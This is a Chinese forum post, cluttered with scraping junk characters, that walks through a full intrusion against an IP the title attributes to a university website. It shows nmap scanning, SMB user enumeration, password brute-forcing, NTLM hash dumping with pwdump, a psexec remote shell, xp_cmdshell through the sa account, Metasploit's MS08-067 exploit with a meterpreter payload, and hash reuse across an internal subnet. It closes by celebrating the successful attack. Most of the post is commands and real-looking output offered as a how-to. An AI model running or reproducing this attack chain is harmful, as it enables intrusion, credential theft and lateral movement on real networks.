广西师范网站http://202.103.242.241/
) g) [3 W5 J1 U; M! U2 {# r7 U; L1 t+ }9 }! y# f& R& R
root@bt:~# nmap -sS -sV 202.103.242.241
% O' m: B) u$ }
. l7 y8 v( A2 t( D5 Y; N; z1 dStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 21:54 CST8 z% K8 y/ T7 p
" D' x- r" } p6 Y
Nmap scan report for bogon (202.103.242.241); u! R1 g: @; N6 v
3 h4 X1 U4 y% S" lHost is up (0.00048s latency).
* A* j8 Z% o: @ m, ^; U J
8 R3 h! x3 N5 I6 P2 _( {Not shown: 993 closed ports$ ~, S7 F$ C1 L! ^
7 _+ p6 G0 v/ e! ~: k0 w9 GPORT STATE SERVICE VERSION
+ ^5 ^# C; u/ {; ], a
/ L& [: S E- g3 H7 g- y" H G135/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)
; B( G1 j/ G$ r+ o @9 F2 \3 h7 A! R# |5 u6 [
139/tcp open netbios-ssn
- `8 L3 H4 F" R& n2 K
6 {- \ j5 Q7 ?: ?, o9 O5 C445/tcp open microsoft-ds Microsoft Windows 2000 microsoft-ds# n6 ^! U; `8 W# h2 L; |
* Z9 x; \- t9 d0 k4 @
1025/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)
9 j( K2 K- E7 G+ g O
; Q6 r" G; q: V/ c: Z( L1026/tcp open msrpc Microsoft Windows RPC
- L8 e% U2 F, }; y& L+ l. i1 l% c3 b* c- J) Q6 N- R
3372/tcp open msdtc?5 u' F1 p, z7 k+ M, F! V
: Q2 I2 L1 ]1 Q" b
3389/tcp open ms-term-serv?: ?' O# D7 T+ L$ p. g. S
8 Z R* | S" \3 F/ F" H- h
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :- V; D1 S% n$ \3 A' j/ @
SF-Port3372-TCP:V=5.59BETA1%I=7%D=2/28%Time=4F4CDC90%P=i686-pc-linux-gnu%r5 L4 i8 |, e. s
# _1 f8 k2 `7 n2 X
SF GetRequest,6,”hO\n\x000Z”)%r(RTSPRequest,6,”hO\n\x000Z”)%r(HTTPOptions
" Z9 a3 T. M4 k& X9 ~: d# z/ t2 W4 ^6 D$ M! W; i$ T# t
SF:,6,”hO\n\x000Z”)%r(Help,6,”hO\n\x000Z”)%r(SSLSessionReq,6,”hO\n\x000Z”)
% @3 o' F& @& c" r4 K! U6 c4 \$ o: I8 i! f- P
SF:%r(FourOhFourRequest,6,”hO\n\x000Z”)%r(LPDString,6,”hO\n\x000Z”)%r(SIPO" l9 ~5 t. a, E9 C6 Y" k
' j: {* q8 v. g- k9 I, v
SF:ptions,6,”hO\n\x000Z”);
6 Q% n" S. G1 X& u7 N* i t c3 u
$ k; q4 N) `0 uMAC Address: 08:00:27 7:2E:79 (Cadmus Computer Systems)5 b: s7 |2 w- Y: b9 h# L
% p" ^0 Q0 y7 o) g# W1 D
Service Info: OS: Windows
3 b& d5 ^/ M3 e) p/ ?
) e: @$ L( }4 X# H4 g- ]Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .% E# g& l/ c+ Q# p: M9 I5 q
3 n9 P. r! U9 ~9 {. H g7 dNmap done: 1 IP address (1 host up) scanned in 79.12 seconds
4 u1 r1 J' f6 x# E! s8 F$ c, `! z0 @' D) F4 G5 ~, w+ V8 [
root@bt:/usr/local/share/nmap/scripts# ls -la | grep smb //列出扫描脚本3 V0 t7 K, f$ C( H7 h8 R
+ b, r1 h4 x% l4 K3 j
-rw-r–r– 1 root root 44055 2011-07-09 07:36 smb-brute.nse( D- u+ a0 n' _5 i" K
, M$ \6 D! o' ~# K
-rw-r–r– 1 root root 27691 2011-07-09 07:36 smb-check-vulns.nse# p0 _9 k: `9 A
" H1 m* h* g8 z
-rw-r–r– 1 root root 4806 2011-07-09 07:36 smb-enum-domains.nse
! ~ m" S- z; v2 m* M3 v+ B1 l$ ?' p6 S6 ]% q8 u9 ~( z9 s- J
-rw-r–r– 1 root root 3475 2011-07-09 07:36 smb-enum-groups.nse
( O& N( c' S7 U& a7 D
2 V: D+ r% | g. n5 O-rw-r–r– 1 root root 7958 2011-07-09 07:36 smb-enum-processes.nse+ w" ^ |1 J/ y9 ~3 E, n6 M
8 @; K% U* r: K5 R+ U-rw-r–r– 1 root root 12221 2011-07-09 07:36 smb-enum-sessions.nse. z3 W# Y- p4 u3 b, o
, W, Z; [$ A9 [: j: g7 I* l-rw-r–r– 1 root root 6014 2011-07-09 07:36 smb-enum-shares.nse+ p r) E% P* q8 q: H, F
4 ?6 R) |5 z- X/ p-rw-r–r– 1 root root 12216 2011-07-09 07:36 smb-enum-users.nse
; b1 ?5 R7 P3 B! B, V4 c( z5 B1 _" s/ B
-rw-r–r– 1 root root 1658 2011-07-09 07:36 smb-flood.nse" @ q5 i) |! [. G6 w7 S
9 o- J; w' D( ~$ |4 B" o6 a; M
-rw-r–r– 1 root root 2906 2011-07-09 07:36 smb-os-discovery.nse6 v: q! |+ q, _& f b- }
" h0 f+ c+ A$ R1 J$ m) T-rw-r–r– 1 root root 61005 2011-07-09 07:36 smb-psexec.nse
& y% |' }2 a& m" `$ L2 G1 X- b
9 D( v: ~6 D$ S$ X0 [' Q1 J-rw-r–r– 1 root root 4362 2011-07-09 07:36 smb-security-mode.nse5 R8 `0 f% `4 }9 @+ X7 U
0 ~; Y# q2 s$ W& w" i( k
-rw-r–r– 1 root root 2311 2011-07-09 07:36 smb-server-stats.nse
3 @. \+ g# d/ K5 q5 G- ?* s( f8 L$ i1 _! t
-rw-r–r– 1 root root 13719 2011-07-09 07:36 smb-system-info.nse
$ N4 f; |) N# L+ D4 v: ~5 L2 V: X6 \# B
-rw-r–r– 1 root root 1429 2011-07-09 07:36 smbv2-enabled.nse- Y# r' d( P$ c) l# @5 K
4 l1 n$ P3 z" o6 ]' \
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-users.nse 202.103.242.241
3 m3 R( ]' o" x9 x. M
9 B! G9 f8 l* B2 ]6 S, ~4 U//此乃使用脚本扫描远程机器所存在的账户名
5 G8 z2 i0 p( A- [6 s \& |5 i/ ? H5 O+ u, k
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:12 CST7 S1 D! K6 r6 U J. ^
% L* `9 ~1 ], \' U
Nmap scan report for bogon (202.103.242.241)( ?' Q8 T& z+ Q' z+ @' M
' B: e# c1 s9 d0 C$ ?( h; @% K' G
Host is up (0.00038s latency).7 B! P/ x- j) }# H
D: \1 t6 M% F- G/ d2 O; ]Not shown: 993 closed ports
' ^2 e# k' P% ~7 a7 ]& w
! @. p) b; m2 t; ^7 W% k* @; t6 Y* ]8 {PORT STATE SERVICE
8 U! s) [& x3 A
+ ]! X, I1 x3 i135/tcp open msrpc
! K: A8 v1 |+ h( ~3 g- @- j" z5 r0 `* {: i N3 j
139/tcp open netbios-ssn; h% C: {* Z5 L' m
: j9 D* R. D. ^/ ?. `/ p
445/tcp open microsoft-ds7 z `* q, j L4 w# Z
" E+ E: b/ l) n& o& y
1025/tcp open NFS-or-IIS
) `7 d' W. U5 i% M( e
# f5 P) w s- s1026/tcp open LSA-or-nterm
, X7 b2 O# c0 a& N9 i: z/ W) z; E. i5 O6 a
3372/tcp open msdtc
8 ` ^5 d) m: w8 u9 u- |$ n2 B, \6 Q2 V8 E, ]. n2 J; g1 b: Y
3389/tcp open ms-term-serv
9 {* U: A; r( r$ v: @; F1 {
; I% g& u0 u0 F8 l( k9 B2 fMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)+ R" N$ c5 }# X
( }% T! I) d; ^3 `! P& X* NHost script results:
6 b$ W) ]7 H1 r/ W
: ?0 Q: ]8 |7 H5 ]: Q) {5 g| smb-enum-users:% m& a& j8 T5 ]$ D
2 m2 p) W$ C. x* T1 K4 m% a( N# M|_ Domain: PG-F289F9A8EF3E; Users:Administrator, Guest, test, TsInternetUser //扫描结果+ l7 a4 Y0 n5 p4 Z2 a1 q
% ^0 d% l" J2 r5 `2 F2 R% Y* l; UNmap done: 1 IP address (1 host up) scanned in 1.09 seconds: j% o; c8 J% _$ T
- c- |/ a6 a8 b: x! y' Zroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-shares.nse 202.103.242.241
* F) d, M9 p! K0 X; _7 A4 Y. P- _, M
//查看共享, ?; C$ A$ n' L. c( }
3 C+ S% ]3 \9 S, K* {
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:15 CST' H% Y+ Z' W* C% J" W+ p. f
) q, i% W) w: @3 ?" s* Y6 e5 u$ c
Nmap scan report for bogon (202.103.242.241)
@4 w7 p) t( r% u& \1 c, j1 s" o2 V. {: M
Host is up (0.00035s latency).# H4 `. ]0 M6 F- N
/ f* r* h1 ~4 U/ u0 `" x0 eNot shown: 993 closed ports
6 F. B3 ?/ F) ?7 q. k6 |
- A* ^" l; E oPORT STATE SERVICE
- t( K6 G2 i/ j W
# t1 g! W/ F- r5 z135/tcp open msrpc3 {% S8 i4 L* h3 J' L+ B2 _4 w( x
* e' k* P+ ?. U- d# G1 x139/tcp open netbios-ssn) M+ c! q/ j( B8 }
* J* e3 k$ R3 u8 ^- s) M
445/tcp open microsoft-ds$ ^+ B- b- F' Z: T! w
+ e4 w8 L) Y) Z8 f0 [1025/tcp open NFS-or-IIS% [% g9 e# Y5 T2 T% ~4 c
/ U( J. Z( F$ V# y5 D
1026/tcp open LSA-or-nterm: a* Q/ o* F. j& D
. x) O9 z& H* u- [ Z; d) e% u7 p H! H3372/tcp open msdtc' Y- |* v. ?# R0 M8 b3 Q( D& s
( h8 h8 y: C* @& m, Y
3389/tcp open ms-term-serv5 M. o0 j( b6 t2 d# e' h' y$ E% r
- E4 x l& t6 j O
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
- c7 k1 u6 Y }& D0 f* t) o
, P7 Z. `3 U, ~! J$ _; M8 B, [Host script results:
. T! M; b8 E( o0 ]0 [* ?$ u8 N" P( W& ~
| smb-enum-shares:
$ w9 L+ E2 z% y q4 A8 Q
3 W2 {$ ], n0 ?& u3 F/ a Q| ADMIN$
8 x+ i: ~. s. e
7 m, v$ N$ d" m5 j1 d| Anonymous access: <none>
0 h' {4 \: h ?; I' D8 _* |( k. N4 X( R f$ k9 G
| C$& F' ?8 E7 {- e7 h& q p% ~
- L/ O5 k, U: w9 B5 }% ?. r| Anonymous access: <none>
& D3 y$ A/ w% U
; A4 f6 V. N4 B o/ f8 l| IPC$ e# F6 c( p( p2 t
+ ]! U0 H5 h/ x. b' W8 S* x' Y|_ Anonymous access: READ
" L0 I# K ^' w1 m% u
6 H4 _1 @! G/ ?8 Z2 q1 W/ X9 ~Nmap done: 1 IP address (1 host up) scanned in 1.05 seconds
# Q5 [4 V# G0 b! Z7 o( l( k2 L, h M' u/ s( B4 q+ G3 Y8 d
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse 202.103.242.241
* F8 W' M9 ^0 c
( z& G# I, f; E( ~- z7 t9 H8 u//获取用户密码- g- |7 F# t$ d% y& s4 H4 [+ `
; k% i* i( d+ XStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:17 CST7 @7 `. N! G; P
% B$ P$ `* j6 I( _' {4 F
Nmap scan report for bogon (202.103.242.2418)
) w( m6 Y3 s) G, e
' ?1 ?* U! ]$ ~$ l1 `Host is up (0.00041s latency).: x7 R9 E F# H" h+ o! B/ ?- s
/ Q8 u) j3 V8 D# x0 {' CNot shown: 993 closed ports0 |2 o8 X) A- C' ^
8 O$ F$ @+ c, N6 {" RPORT STATE SERVICE
% [9 h+ Z r% W/ t7 @" x2 s4 t
" a7 o8 J4 W* p$ D# p135/tcp open msrpc" ~6 @: F7 G+ G& i! G ~" x4 d5 {
. g _, E4 }; q( G- T
139/tcp open netbios-ssn
8 I. U( R) {+ b& b# ~
: D1 B7 A+ T6 `445/tcp open microsoft-ds# Z$ H" }/ v* _& p+ z8 [: [
) i8 F1 }" E7 H- M/ u1025/tcp open NFS-or-IIS! K1 o0 v) I6 `: A- Z) r8 f& g
0 B& Z5 b8 A8 J& W8 { ]/ V
1026/tcp open LSA-or-nterm8 _6 `# `( [! K- ?# A) ^
1 V: h O( n; g2 ?
3372/tcp open msdtc
) u1 E# h% _) V2 ]# ~# C$ C, m, m# `* [& x
3389/tcp open ms-term-serv0 n3 ^% V% w8 n+ V0 s
) Z* O* `3 f" aMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)) z( t+ r. K7 t. W9 m' Y, [1 P( I) ?
: F. I' W& B" Z6 o+ @, [! fHost script results:4 m; d8 a1 J7 f$ I4 F5 e* S1 C
1 L& z2 Y; G& x+ R' Q' j| smb-brute:3 A6 [) D. G W# S' r" k
( Y! X8 l1 n. A$ G! e: S
administrator:<blank> => Login was successful
2 x7 Q5 X; }2 W/ }
9 k3 J' G% n+ j( m. ]/ w* `5 L0 E6 d|_ test:123456 => Login was successful5 o/ D8 i6 ~ g# B+ C% t+ j- Z
# w& p6 g, {' g% U: p3 ?Nmap done: 1 IP address (1 host up) scanned in 28.22 seconds n& J- V7 z5 O( [
0 ]" W+ [7 b& k" h$ ^& @* J
root@bt:~# wget http://swamp.foofus.net/fizzgig/ ... -exe-only.tar.bz2//抓hash
: y( W( v0 x" ~3 t9 X* c5 J t; p2 B+ i! I% E3 a, Q& y
root@bt:~# tar -jxvf pwdump6-1.7.2-exe-only.tar.bz2 -C /usr/local/share/nmap/nselib/data8 s' `" [, t- ]* y5 c( f2 {/ t
6 M, W2 f3 d# ~root@bt:/usr/local/share/nmap/scripts# wget https://svn.nmap.org/nmap-exp/dev/nmap/scripts/smb-pwdump.nse, u( g- r& J4 B5 K S8 Q
! s6 s2 t* k: d7 S% Mroot@bt:~# nmap –script=smb-pwdump.nse –script-args=smbuser=test,smbpass=123456 202.103.242.241 -p 135,445,139- R" u2 s4 C6 F3 n
+ v A% V: E/ j" B, `4 X5 ^9 a
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:25 CST' R8 B5 ^# G- G! k; |
9 c) @; W# f+ T: v
Nmap scan report for bogon (202.103.242.241)( w# r9 j& k" H* a
( p8 P% A& o, {/ ^
Host is up (0.0012s latency). J" e" O/ M/ q9 p4 x" t
( A0 E3 b' C% k4 e* S8 jPORT STATE SERVICE
; R% \6 D3 Z6 N, I
* x. V$ Z8 d3 V0 _: p' }& ]135/tcp open msrpc
4 m5 ]5 U& m0 e ?. D( m5 e& ^: [
6 n9 ^" K7 P1 C" |139/tcp open netbios-ssn
$ f6 N$ y" o& U0 m3 @( J3 {7 Y/ i- L
445/tcp open microsoft-ds: y" Y7 Y% ^$ Y: \
* t- p( V% f2 @6 D7 ^% Y0 r4 B7 YMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
8 D" g1 m+ v5 u8 n" ?, F0 c. n6 c* W% j8 p8 J, U# A* q
Host script results:
! D* }! Q, @5 Z. y- C
) u5 e% p; `: C: H8 `6 M| smb-pwdump:
1 w% C4 F6 o6 p: ~ p( f V7 Z5 s8 `8 f: x$ d0 m+ x
| Administrator:500 => NO PASSWORD*********************:NO PASSWORD*********************
3 _. y4 I3 z+ h7 g4 Q4 Q. v8 _% [" B/ }, a
| Guest:501 => NO PASSWORD*********************:NO PASSWORD*********************
: q6 H4 w. f/ O" T6 A, p) _9 G
4 D4 Z6 Y& p& ~; E- a| test:1002 => 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4
3 @8 p" e6 q' G ^$ O( b! y1 \* u
0 U! `: q4 {% q, k9 w0 i/ _: G|_TsInternetUser:1000 => A63D5FC7F284A6CC341A5A0240EF721E:262A84B3E8D4B1CC32131838448C98D2
# i4 g. K( D$ i# T' A2 k$ r( y: h- p7 a! E5 |, ?
Nmap done: 1 IP address (1 host up) scanned in 1.85 seconds
7 {4 b: f) b% @0 g' C; {; U) O; y0 a* o t. ?: |& q+ a
C:\Documents and Settings\Administrator\桌面>psexec.exe \\202.103.242.241 -u test //获取一个cmdshell5 `: i% \8 { l$ z0 h& W9 W, B
9 K. e$ P& ?8 R4 Y5 Y3 @
-p 123456 -e cmd.exe
7 ~$ |5 Q- u4 F8 v* o# p- _
) R- i1 |: J+ X. _& VPsExec v1.55 – Execute processes remotely
8 ?/ M! R R3 }& c1 [8 l
5 n6 M# Q! Y/ wCopyright (C) 2001-2004 Mark Russinovich
2 r* A/ }4 s+ j( I/ O' y3 _; k( y
; S) Z7 o6 b& S# hSysinternals – www.sysinternals.com
% k/ N4 T; ^+ ]
/ V0 T$ l# {3 q9 l6 }4 pMicrosoft Windows 2000 [Version 5.00.2195]
' @' W3 c- M: w v2 _) T. S( u" G; l% `* K6 f( w* W/ `) P9 L# V" _
(C) 版权所有 1985-2000 Microsoft Corp.
9 L9 a# A, @; J5 [' W6 i0 o1 A1 w- e- M( N/ f8 e4 s7 \
C:\WINNT\system32>ipconfig/ E7 [/ E+ K E8 c8 E) a8 v
9 w( m9 e2 m( t) T) z; s: MWindows 2000 IP Configuration
% U9 z9 w! O' k( W2 F& u% P2 A' ]& s1 j* N9 V
Ethernet adapter 本地连接:( z3 ?0 U# g; p( k% a: c
( [9 U* `5 W0 SConnection-specific DNS Suffix . :- w7 C4 s! \8 K6 k S3 `% ~( U; K
! q6 T+ {& n; y; w3 @
IP Address. . . . . . . . . . . . : 202.103.242.241
" w' r5 `! `3 @" F" }6 V& z8 s6 b% a3 W9 [4 {: S0 O+ ~) J: Q
Subnet Mask . . . . . . . . . . . : 255.255.255.0
$ A0 w9 j5 T" v: f. }+ {/ s! [( W6 U& p
Default Gateway . . . . . . . . . : 202.103.1.12 `: u& ?! M' q4 ]4 R6 h2 t
4 o0 i' Q) k$ v9 @C:\Documents and Settings\Administrator\桌面\osql>osql.exe -S 202.103.242.241 -U sa -P “123456″ -Q “exec master..xp_cmdshell ＇net user＇ “ //远程登录sa执行命令
! F9 b8 {+ i8 N- J+ U3 b5 ^# C4 L' m3 ~/ w4 E
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-check-vulns.nse 202.103.242.241 //检测目标机器漏洞/ @& \8 q5 @- R, h+ f
% ^7 j% J1 h0 m' V2 }( qStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:41 CST
% U- C2 \. h% f3 n, F$ z. t; {
: }* a9 R) d _: R9 s% s, ZNmap scan report for bogon (202.103.242.241)
( n4 H4 J; F6 `* n& t' h
: y" g0 J3 s' A1 S7 P3 i6 PHost is up (0.00046s latency).
3 [6 f/ i6 v, C1 _( [/ Z1 ]" U5 k2 |
Not shown: 993 closed ports" Y( _0 @; i$ h7 P" L
( d" u1 `" \/ @4 x
PORT STATE SERVICE
, X# \: Y2 a& b6 ]+ h( G8 a" T5 {# g+ l. G% D
135/tcp open msrpc
7 S. j* a# w) B1 r
& S" T& }2 L3 ~$ E139/tcp open netbios-ssn: S. j7 m' E; @% Y" l7 f
' W! Z- d& x' t1 m* B( S445/tcp open microsoft-ds
; C s8 B: Y5 ?5 |2 r# A2 Q* O) O6 W4 K+ p
1025/tcp open NFS-or-IIS+ @4 o L; X: Z/ E7 R3 `: J
5 W* o0 ]- n1 k( Z" }1026/tcp open LSA-or-nterm- ]+ W2 e. H; k* e6 B8 ^2 U
. M5 y3 Z5 j% D7 T# a) \
3372/tcp open msdtc1 B5 c4 z8 H! f) [
" v9 Z7 I# l# g/ v( P- P3389/tcp open ms-term-serv
3 h% s" T" z6 R8 o# B( G6 z2 u7 ~" T
# u, r" u9 f( m# F- P7 CMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
. u2 c3 ?1 O6 ^" V8 E: H
! c; B: S& z" [" y* N" ~+ iHost script results:
9 B5 W3 P+ r; y% P. W3 i" `3 G% G$ Q
| smb-check-vulns:) T% s( s x/ F4 E, R; H! m
, U3 ~, W4 d8 T: w/ a+ S. e
|_ MS08-067: VULNERABLE* B0 I5 S0 E; C+ h' b& F
( G* C3 q. J0 d7 a! v
Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds$ T, T) r. R% _$ u& Y7 C9 m2 Y1 ?
1 g/ I9 x) h. z0 Q; w7 ~$ nroot@bt:~# msfconsole //在msf上利用ms08-067漏洞对目标机器进行溢出
+ O# X+ M! }! F$ V1 n4 G, _) b+ E0 }
& L* O2 _. k0 d. n: F( amsf > search ms086 }; }6 V% X2 F' @( _, @" D
2 p' ~+ a, Y1 D; r
msf > use exploit/windows/smb/ms08_067_netapi
/ _. i& w' o+ y0 `& M" ^4 }4 `5 F* b/ ?6 y2 ]+ h$ J* m" J
msf exploit(ms08_067_netapi) > show options$ }* s% X( C! q3 X. l( v* w0 s7 j2 X
' Z2 W2 P4 l8 W/ p9 d
msf exploit(ms08_067_netapi) > set RHOST 202.103.242.241
, }9 D" B9 L0 [ A6 z# u
- v! v/ d, X# R4 dmsf exploit(ms08_067_netapi) > show payloads
( l% Q1 ~8 m7 u9 W
8 i( g- P! V4 a5 ^' i" Y3 Dmsf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
' q7 k3 F; a+ A2 J6 [
! l! Y' ^. Y) K( E( u8 J1 ~5 Cmsf exploit(ms08_067_netapi) > exploit
/ a: C& v, W4 H$ y, H
# y+ U* d4 z) J- Wmeterpreter >
+ K ?7 l* ?% H& O# Z; N8 e0 n- y
Background session 2? [y/N] (ctrl+z)
. G3 ^: \6 ]& P! c3 P1 A5 d
4 s/ I) p0 Z, Q9 S8 D# N. t3 gmsf exploit(ms08_067_netapi) > sessions -l" ?1 R$ P7 T+ R( A
: J, I' O4 O6 p& O6 broot@bt:/usr/local/share/nmap/scripts# vim usernames.txt
# F# F% L: }; u" E+ g
! d9 h. k2 O" c; e- s4 A) g$ Vtest
; N+ z* v4 z9 D6 }3 L
; h) I* b: M, f: {+ ]( D) Eadministrator3 D8 s/ f5 ?+ h6 `8 ^ B
- l2 ^& f* _! g- J% I
root@bt:/usr/local/share/nmap/scripts# vim password.txt8 ?; r# o* g3 I, S& Q6 P" F4 C
* J w9 e6 e$ p" J" f3 w; U44EFCE164AB921CAAAD3B435B51404EE
9 M/ u1 m4 c. h& O+ a7 O5 u3 s. _+ M- m4 C5 X/ A
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse –script-args=userdb=usernames.txt,passdb=password.txt 192.168.1.1-254
9 V2 O3 ]4 \; {9 y) {
' } Q; }2 Y4 x# K Y f9 C //利用用户名跟获取的hash尝试对整段内网进行登录+ {5 d1 |# I% D: Z
" X" p: Q, {8 {+ W, X: ^8 H" l
Nmap scan report for 192.168.1.105
. I f Z3 P) O( a: ]/ o8 S" X9 x5 g
Host is up (0.00088s latency).0 g! L% F9 [: K8 U4 P
4 s+ @4 }/ M0 v, D& L9 ?Not shown: 993 closed ports# ~3 F# Q3 r) ~+ G8 I; L4 K
: x; E6 d1 g; YPORT STATE SERVICE
; r1 ]3 p) X z( G
- H M& z5 t* E5 H2 f, G135/tcp open msrpc: Y$ W! n. p1 b
! N' R3 O! Y2 K: B
139/tcp open netbios-ssn6 g# X$ ^4 b: I- a8 o: P" i
* _ g( a% ?# U/ s3 D" y2 e445/tcp open microsoft-ds* o2 q; p: u @# V
9 G6 P9 J5 M+ n* G1025/tcp open NFS-or-IIS! `/ ?, i: H) P/ E8 R; G
! T* H1 z: x4 z* R
1026/tcp open LSA-or-nterm( U$ i4 |* ^# q7 V! a
/ {$ t* S7 K$ h& W5 x, ?, z3372/tcp open msdtc7 y1 P1 w( y. T. Z2 T# l, ?) [/ h
/ F5 }4 m9 ?+ x5 c5 z& B0 y6 ~2 M
3389/tcp open ms-term-serv
6 G" M c/ T! N3 C; t' c2 t' a) I8 r# e
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)! e+ T) j* y6 `% T; ], A
; h8 O$ T% j0 W& |, S
Host script results:
7 R* f$ A" d; U; |
/ q7 c; F1 N1 z4 q| smb-brute:2 O9 c7 q! z8 T0 A
* N( Y: k& O6 x5 s; g" G
|_ administrator:<blank> => Login was successful
+ L' h, ~% l/ z- P* K" G/ |0 h/ k" w! T; r7 J" Z2 D
攻击成功，一个简单的msf+nmap攻击~~·
2 Y/ k5 e; Y6 b0 D3 h2 t' g n, L( b" M& e& j6 B* f; j& O
|
发表于 2012-12-4 12:46:42
收藏
支持
反对